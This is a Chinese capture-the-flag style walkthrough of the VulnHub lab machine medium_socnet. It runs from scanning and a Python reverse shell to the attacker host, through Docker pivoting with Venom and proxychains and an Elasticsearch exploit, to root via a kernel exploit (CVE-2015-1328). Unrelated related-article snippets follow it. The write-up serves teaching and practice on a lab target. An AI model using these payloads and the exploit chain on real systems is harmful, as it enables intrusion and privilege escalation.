打靶记录——靶机medium_socnet

靶机下载地址

https://www.vulnhub.com/entry/boredhackerblog-social-network,454/
image.png

打靶过程

由于靶机和我的Kali都处于同一个网段,所以使用arpscan二次发现技术来识别目标主机的IP地址

arpscan -l

image.png
除了192.168.174.133,其他IP都是我VMware虚拟机正常运行会使用到的IP
那么拿到IP之后,对IP进行全端口的扫描,看看有哪些端口开起了,有哪些服务存在

nmap -p- 192.168.174.133

image.png
再进行一下服务版本的探测

nmap -p22,5000 -sV 192.168.174.133

image.png


在 nmap 中,-sV 参数是用来进行服务版本检测的。当你使用 -sV 参数扫描目标主机时,nmap 会尝试探测主机上运行的各种服务及其版本信息。这对于识别目标系统中运行的具体服务版本是非常有用的,可以帮助确定是否存在已知的漏洞或安全问题。

使用 -sV 的主要功能和工作原理:

  1. 服务版本检测
    • nmap 使用 -sV 参数时,会发送特定的探测请求到目标主机的开放端口,通过分析目标主机对请求的响应来判断具体的服务及其版本信息。
  2. 精准信息
    • 相比于仅仅检测端口是否开放(使用 -sS 或 -sT 等参数进行端口扫描),-sV 参数能够提供更详细和精准的信息,包括服务的具体版本号。
  3. 识别漏洞
    • 通过得知具体的服务版本号,可以帮助安全专家或管理员快速判断服务是否存在已知漏洞或安全问题,进而采取相应的安全措施或修复措施。
  4. 使用示例
    • 基本用法:nmap -sV
    • 指定端口范围:nmap -sV -p
    • 针对多个目标:nmap -sV …
  5. 注意事项
    • -sV 参数会增加扫描时间和网络流量,因为它需要发送多个探测请求并等待响应。对于大型网络或复杂的目标系统,可能需要更多时间来完成扫描。
    • 某些防火墙或入侵检测系统可能会检测到 nmap 的服务版本检测行为,并采取防御措施。

总之,-sV 参数使得 nmap 在扫描过程中可以提供更多有关目标主机上服务的详细信息,有助于评估系统的安全性和配置状态。


发现Ubantu和python
既然是Http服务,那么我们就访问一个Web界面
image.png
没有发现有注入点,那么我们尝试一下目录扫描

dirsearch -u "http://192.168.174.133:5000/"

image.png
发现了后台地址,发现可以进行代码执行,放到exec()函数中执行的
image.png
那么我们可以进行一个反弹shell,利用python
先在kali中监听端口

nc -lvvnp 6666

然后在网站中执行反弹shell的代码
image.png

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.174.128",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

成功反弹shell
image.png
但是发现可能是在docker容器里面的,因为有Dockerfile文件存在。
如果还不确定是否是docker容器,有两个方法
1、查看根目录下是否存在 .dockerenv 这个文件

 ls /.dockerenv

image.png
如果存在 .dockerenv 这个文件,那么90%说明这就是docker系统
2、查看 /proc/1/cgroup

cat /proc/1/cgroup

image.png
如果出现这些内容,那么100%是一个docker容器
因为Linux系统启动之后,1这个PID就代表着这个系统上的初始化进程的ID,当初始化ID的cgroup文件包含着明确的docker镜像主机的这些信息的话,那就100%是一个docker容器

那么先查看一下当前的docker的IP地址
image.png

172.17.0.3/16

那我们把docker当成内网,然后把内网网段的每一个IP都ping一遍,看看有没有回包
用一个脚本来测试

for i in $(seq 1 10); do ping -c 1 172.17.0.$i; done

这段代码是一个简单的 Bash 脚本,用于循环执行 ping 命令,以便对一组 IP 地址进行测试。让我们逐步解释这段代码的每个部分:

  1. for 循环
bashfor i in $(seq 1 10);
  • for i in … 表示开始一个循环,其中 i 是循环变量。
  • ( s e q 110 ) 是一个命令替换,它生成从 1 到 10 的整数序列。因此, (seq 1 10) 是一个命令替换,它生成从 1 到 10 的整数序列。因此, (seq110)是一个命令替换,它生成从110的整数序列。因此,i 将会依次取值 1 到 10。
  1. ping 命令
bashping -c 1 172.17.0.$i;
  • ping 命令用于向指定的主机发送 ICMP 回显请求,以测试主机的可达性和响应时间。
  • -c 1 参数表示发送一个 ICMP 请求,即每个主机只发送一个请求。
  • 172.17.0.$i 是一个带有变量的 IP 地址,其中 $i 是 for 循环中的当前值,用来替换为具体的 IP 地址,如 172.17.0.1 到 172.17.0.10。
  1. 循环体
    • 整个 for 循环的主体是 ping -c 1 172.17.0.$i;,这意味着会对序列中的每个 IP 地址执行一次 ping 操作。

执行过程:

  • 当脚本执行时,$i 会依次取值 1 到 10。
  • 对于每个循环迭代,ping 命令会发送一个 ICMP 请求到指定的 IP 地址(例如 172.17.0.1 到 172.17.0.10)。
  • 如果目标主机响应,则输出显示主机的响应时间和状态信息;如果没有响应,则显示主机不可达或超时的信息。

注意事项:

  • 权限:执行 ping 命令通常需要足够的权限,通常是 root 或者具有相应网络权限的用户。
  • 网络设置:确保你的网络设置允许 ICMP 请求,否则 ping 命令可能无法正常工作。
  • 循环范围:代码中使用的 IP 地址范围和具体地址可能会根据实际情况和网络配置而变化。

这段代码适合于快速测试一组 IP 地址是否可达,并获得它们的基本网络信息。


image.png
发现三个IP回包了

接下来要使用内网穿透技术,把我的Kali到它内网的这个路由给打通
推荐使用Venom v1.1.0,下载地址https://github.com/Dliv3/Venom/releases
image.png
下载后放到Kali中解压
image.png
我们现在要做的是把客户端程序,先传输拷贝到目标系统上,然后再通过Kali
上的服务器端程序,在他们之间建立一条隧道
那么现在Kali中开启服务端,监听9999端口,等待容器系统和我的Kali建立反弹的连接
image.png
然后目标服务器需要下载我的客户端程序
我先通过python开启一个http服务,然后让目标服务器直接通过Wegt来下载客户端程序

python3 -m http.server 80

image.png
然后再目标服务器上执行命令

wget http://192.168.174.128/agent_linux_x64

image.png

chmod +x agent_linux_x64    //赋予执行权限
./agent_linux_x64 -rhost 192.168.174.128 -rport 9999      // 连接Kali

image.png
Kali发现了一个已连接的节点

goto 1
socks 1080    //启动socks代理

image.png
为了让Kali上的所用工具都可以通过代理去扫描内网的所有网段的话,那必须使用另外一个工具 proxychains4 ,可以挂载我们当前的代理

vim /etc/proxychains4.conf

image.png
Nmap扫描一下端口,当然前提是要挂上proxychains

proxychains nmap -Pn -sT 172.17.0.1
  1. -Pn 参数
    • -Pn 参数告诉 nmap 不要进行主机发现(即不要进行Ping测试),而是假设目标主机是活跃的。这是一种绕过目标主机可能配置的防火墙或过滤规则的方法,因为有些网络设备会屏蔽 Ping 请求。
  2. -sT 参数
    • -sT 参数指定了使用 TCP 连接扫描(也称为全连接扫描)。在 TCP 连接扫描中,nmap 会尝试建立一个完全的 TCP 连接,以判断目标端口的状态(开放、关闭、过滤)。

image.png
再看一下版本

proxychains nmap -Pn -sT -sV 172.17.0.1

proxychains 是一个工具,它允许用户将其他命令通过代理服务器执行,而不是直接连接到目标主机。

  • proxychains 是一个用于代理网络连接的工具。它能够劫持其他命令的网络连接,将其通过配置好的代理服务器转发出去,从而达到隐藏真实 IP 地址或绕过网络防火墙的目的。

image.png
发现就是我们原来的那台,只不过172.17.0.1是面向内网容器的IP
那么我们再扫描一下172.17.0.2这个IP

proxychains nmap -Pn -sT -sV 172.17.0.2

image.png
发现是Elasticsearch,我们可以利用一下漏洞

searchsploit Elasticsearch

image.png
那我们把漏洞利用代码复制到当前目录上查看一下

cp /usr/share/exploitdb/exploits/linux/remote/36337.py .

发现是Python2的
image.png
提示需要加上 target 参数
image.png

proxychains python2 36337.py 172.17.0.2

image.png

解密密码https://www.somd5.com/
image.png
SSH登录

proxychains ssh john@172.17.0.1

image.png
看一下内核
image.png

searchsploit Linux 3.13.0 Ubuntu

看一下可利用的漏洞
image.png
先弄下来看看代码

cp /usr/share/exploitdb/exploits/linux/local/37292.c .

image.png
发现需要gcc来编译,但是目标靶机上面没有gcc
先找到二进制共享库文件ofs-lib.so

locate ofs-lib.so

image.png
然后我们直接在Kali什么编译好之后再发过去,然后将这段代码给注释掉
image.png

gcc -o exp 37292.c

有报错但是不影响
image.png
然后把ofs-lib.so文件也拷贝过来

/usr/share/metasploit-framework/data/exploits/CVE-2015-1328/ofs-lib.so

image.png
开启Http服务

python3 -m http.server 80

image.png

john@socnet:~$ wget http://192.168.174.128/exp
john@socnet:~$ wget http://192.168.174.128/ofs-lib.so

image.png
下载完成后将他们放到/tmp临时目录下,这个目录权限大一点
前面也有说在/tmp目录下调用,这样可以减少报错
image.png

mv * /tmp

image.png

chmod +x exp
./exp

image.png
获得root权限!

总结

  1. 先进行主机发现,然后针对发现的主机进行端口扫描以及服务的扫描
  2. 扫描完之后发现靶机在5000端口的一个Web应用,尝试访问Web应用
  3. 在Web应用下,我们未获得已知漏洞
  4. 通过dirsearch在5000端口发现了后台路径
  5. 在后台地址发现了远程代码执行漏洞,利用这个漏洞,获取到了一个目标系统的反弹shell
  6. 获得shell之后,发现自己被困在一个docker的容器系统里面,基于容器系统,对内网的IP地址段进行发现
  7. 识别除了两个内网主机中的IP地址,一个是172.17.0.1,一个是172.17.0.2
  8. 然后挂上代理进行内网穿透,对这两个地址进行了全端口的扫描,在扫描过程中发现0.2地址上面开启了9200端口
  9. 而9200端口是Elasticsearch默认的服务监听端口,所以尝试对Elasticsearch进行漏洞的利用和攻击,结果成功拿下了172.17.0.2这台主机
  10. 在这台主机里继续进行信息收集,我们发现了一个password的文件,在里面收获了john这个账号的密码,密码是需要进行破解的
  11. 拿到账号密码之后尝试对内网所有开启22端口的主机进行登录,最终成功登录目标的靶机系统
  12. 登录后没有root权限,需要进行本地提权
  13. 发现是比较老的操作系统,内核版本比较老,所以使用针对内核漏洞进行提权的代码
  14. 但是漏洞利用代码又没有办法在目标系统上进行GCC的编译,所以不得不修改代码重新编译
  15. 把编译之后的漏洞利用代码和二进制的库文件一起传输到目标服务器上
  16. 最终在目标服务器上成功利用漏洞进行本地提权,拿到root权限

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/38148.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【Spring Boot】认识 JPA 的接口

认识 JPA 的接口 1.JPA 接口 JpaRepository2.分页排序接口 PagingAndSortingRepository3.数据操作接口 CrudRepository4.分页接口 Pageable 和 Page5.排序类 Sort JPA 提供了操作数据库的接口。在开发过程中继承和使用这些接口,可简化现有的持久化开发工作。可以使 …

springboot学习,如何用redission实现分布式锁

目录 一、springboot框架介绍二、redission是什么三、什么是分布式锁四、如何用redission实现分布式锁 一、springboot框架介绍 Spring Boot是一个开源的Java框架,由Pivotal团队(现为VMware的一部分)于2013年推出。它旨在简化Spring应用程序…

大数据面试题之Spark(1)

目录 Spark的任务执行流程 Spark的运行流程 Spark的作业运行流程是怎么样的? Spark的特点 Spark源码中的任务调度 Spark作业调度 Spark的架构 Spark的使用场景 Spark on standalone模型、YARN架构模型(画架构图) Spark的yarn-cluster涉及的参数有哪些? Spark提交jo…

编码大模型系列:Meta创新的“代码编译优化”的LLM

鲁班号导读正式上线。移步“鲁班秘笈”,查阅更多内容。 大型语言模型 (LLM) 已在各种软件工程和编码任务中展现出卓越的能力。然而,它们在代码和编译器优化领域的应用仍未得到充分探索。训练LLM需要大量资源,需要大量的 GPU时间和大量的数据…

一个合理的前端应用文件结构

在大型应用中,最关键且最具挑战性的方面之一就是拥有一个良好且合理的文件结构。在考虑通过微前端将代码库拆分成多个应用之前,可以遵循一些步骤来改善项目级别的架构,并在您考虑这一路径时使过渡更容易。 我们的目标是应用某种模块化方法&am…

MSPM0G3507——定时器例程讲解4——timx_timer_mode_periodic

以下示例以周期模式配置TimerG并切换LED。周期从500ms开始,每次切换减少50ms,直到周期为100ms,然后重复。设备在等待中断时保持待机模式 #include "ti_msp_dl_config.h"/* ((32KHz / (321)) * 0.5s) 45 - 1 495 due to N1 ticks …

Qt中用QLabel创建状态灯

首先ui设计中分别创建了4个大灯和4个小灯。 编辑.h文件 #ifndef LED_H #define LED_H#include <QWidget> #include <QLabel>QT_BEGIN_NAMESPACE namespace Ui { class Led; } QT_END_NAMESPACEclass Led : public QWidget {Q_OBJECTpublic:Led(QWidget *parent n…

服务器硬件以及RAID配置

目录 一、RAID磁盘阵列原理&#xff08;嘎嘎重要&#xff09; 1、RAID的概述 2、常用的RAID 2.1、RAID 0 2.2、RAID 1 2.3、RAID 5 2.5、RAID 10 3、阵列卡介绍 二、建立软件RAID磁盘阵列 1、添加硬盘 2、使用fdisk分区&#xff0c;类型为fd 3、mdata命令使用参数 …

安全与加密常识(3)什么是数字签名和数字证书

文章目录 数字签名工作原理关键特点应用实例 数字证书数字证书和数字签名趣味实例 数字签名 数字签名是一种通过密码运算生成的数据&#xff0c;用于验证信息的完整性和来源&#xff0c;确保数据在传输过程中未被篡改&#xff0c;同时提供发送者的身份认证和防止抵赖的功能。它…

Qt: QPushButton 按钮实现 上图标下文字

效果如下&#xff1a; 实现有如下几种方式&#xff1a; 1. 使用 QPushButton 设置 setStyleSheet 例&#xff1a; ui->recorder->setStyleSheet("QPushButton{"\"border: 1px solid #00d2ff; "\"min-height: 60px; "\"col…

python多继承的3C算法

python多继承的3C算法 有很多地方都说python多继承的继承顺序&#xff0c;是按照深度遍历的方式&#xff0c;其实python多继承顺序的算法&#xff0c;不是严格意义上的深度遍历&#xff0c;而是基于深度遍历基础上优化出一种叫3C算法 python多继承的深度遍历 class C:def ru…

MySQL高级-MVCC-原理分析(RR级别)

文章目录 1、RR隔离级别下&#xff0c;仅在事务中第一次执行快照读时生成ReadView&#xff0c;后续复用该ReadView2、总结 1、RR隔离级别下&#xff0c;仅在事务中第一次执行快照读时生成ReadView&#xff0c;后续复用该ReadView 而RR 是可重复读&#xff0c;在一个事务中&…

Django 配置静态文件

1&#xff0c;DebugTrue 调试模式 Test/Test/settings.py DEBUG True...STATICFILES_DIRS [os.path.join(BASE_DIR, static),] STATIC_URL /static/ 1.1 创建静态文件 Test/static/6/images/Sni1.png 1.2 添加视图函数 Test/app6/views.py from django.shortcuts impor…

uniapp,uni-fab组件拖动属性,替代方案

文章目录 1. 背景2. 替代方案2.1 方案一2.2 方案二 参考 1. 背景 最近基于uniapp开发一款设备参数调试的APP软件&#xff0c;其中有使用到悬浮按钮&#xff0c;快速开发阶段&#xff0c;为了能尽快上线&#xff0c;直接使用了uni-ui的扩展组件uni-fab&#xff0c;参考【1】&am…

Configure C/C++ debugging

Configure C/C debugging launch.json 文件用于在 Visual Studio Code 中配置调试器。 Visual Studio Code 会生成一个 launch.json (位于项目的 .vscode 文件夹下),其中几乎包含了所有必需的信息。要开始调试,您需要填写 program 字段,指定要调试的可执行文件的路径。这必须…

【从零开始学架构 架构基础】四 架构设计的复杂度来源:可扩展性复杂度来源

架构设计的复杂度来源其实就是架构设计要解决的问题&#xff0c;主要有如下几个&#xff1a;高性能、高可用、可扩展、低成本、安全、规模。复杂度的关键&#xff0c;就是新旧技术之间不是完全的替代关系&#xff0c;有交叉&#xff0c;有各自的特点&#xff0c;所以才需要具体…

新书速览|Linux C与C++一线开发实践

《Linux C与C一线开发实践》 本书内容 Linux C/C编程在Linux应用程序开发中占有重要的地位&#xff0c;掌握这项技术将在就业竞争中立于不败之地。《Linux C与C一线开发实践》内容针对初中级读者&#xff0c;贴近软件公司一线开发实践。全书厚达620多页&#xff0c;知识点丰富…

51单片机第6步_stdlib.h库函数

本章重点学习stdlib.h库函数。 #include <REG51.h> //包含头文件REG51.h,使能51内部寄存器; #include <stdlib.h> //float atof (char *s1); //参数s1字符串可包含正负号,小数点或E(e)来表示指数部分,如123.456或123e-2; //若首字符是非数据字符,或为正负号…

[NSSCTF]-Reverse:[SWPUCTF 2021 新生赛]easyapp(安卓逆向,异或)

无壳 把后缀名改为zip&#xff0c;找到apk 查看jadx 这里调用了MainActivity的lambda$onCreate$0$MainActivity&#xff0c;然后又调用了Encoder进行异或。 exp&#xff1a; result棿棢棢棲棥棷棊棐棁棚棨棨棵棢棌 key987654321 flag for i in range(len(result)):flagchr(…

HarmonyOS开发:应用完整性校验

简介 为了确保应用的完整性和来源可靠&#xff0c;OpenHarmony需要对应用进行签名和验签。 应用开发阶段&#xff1a; 开发者完成开发并生成安装包后&#xff0c;需要开发者对安装包进行签名&#xff0c;以证明安装包发布到设备的过程中没有被篡改。OpenHarmony的应用完整性校…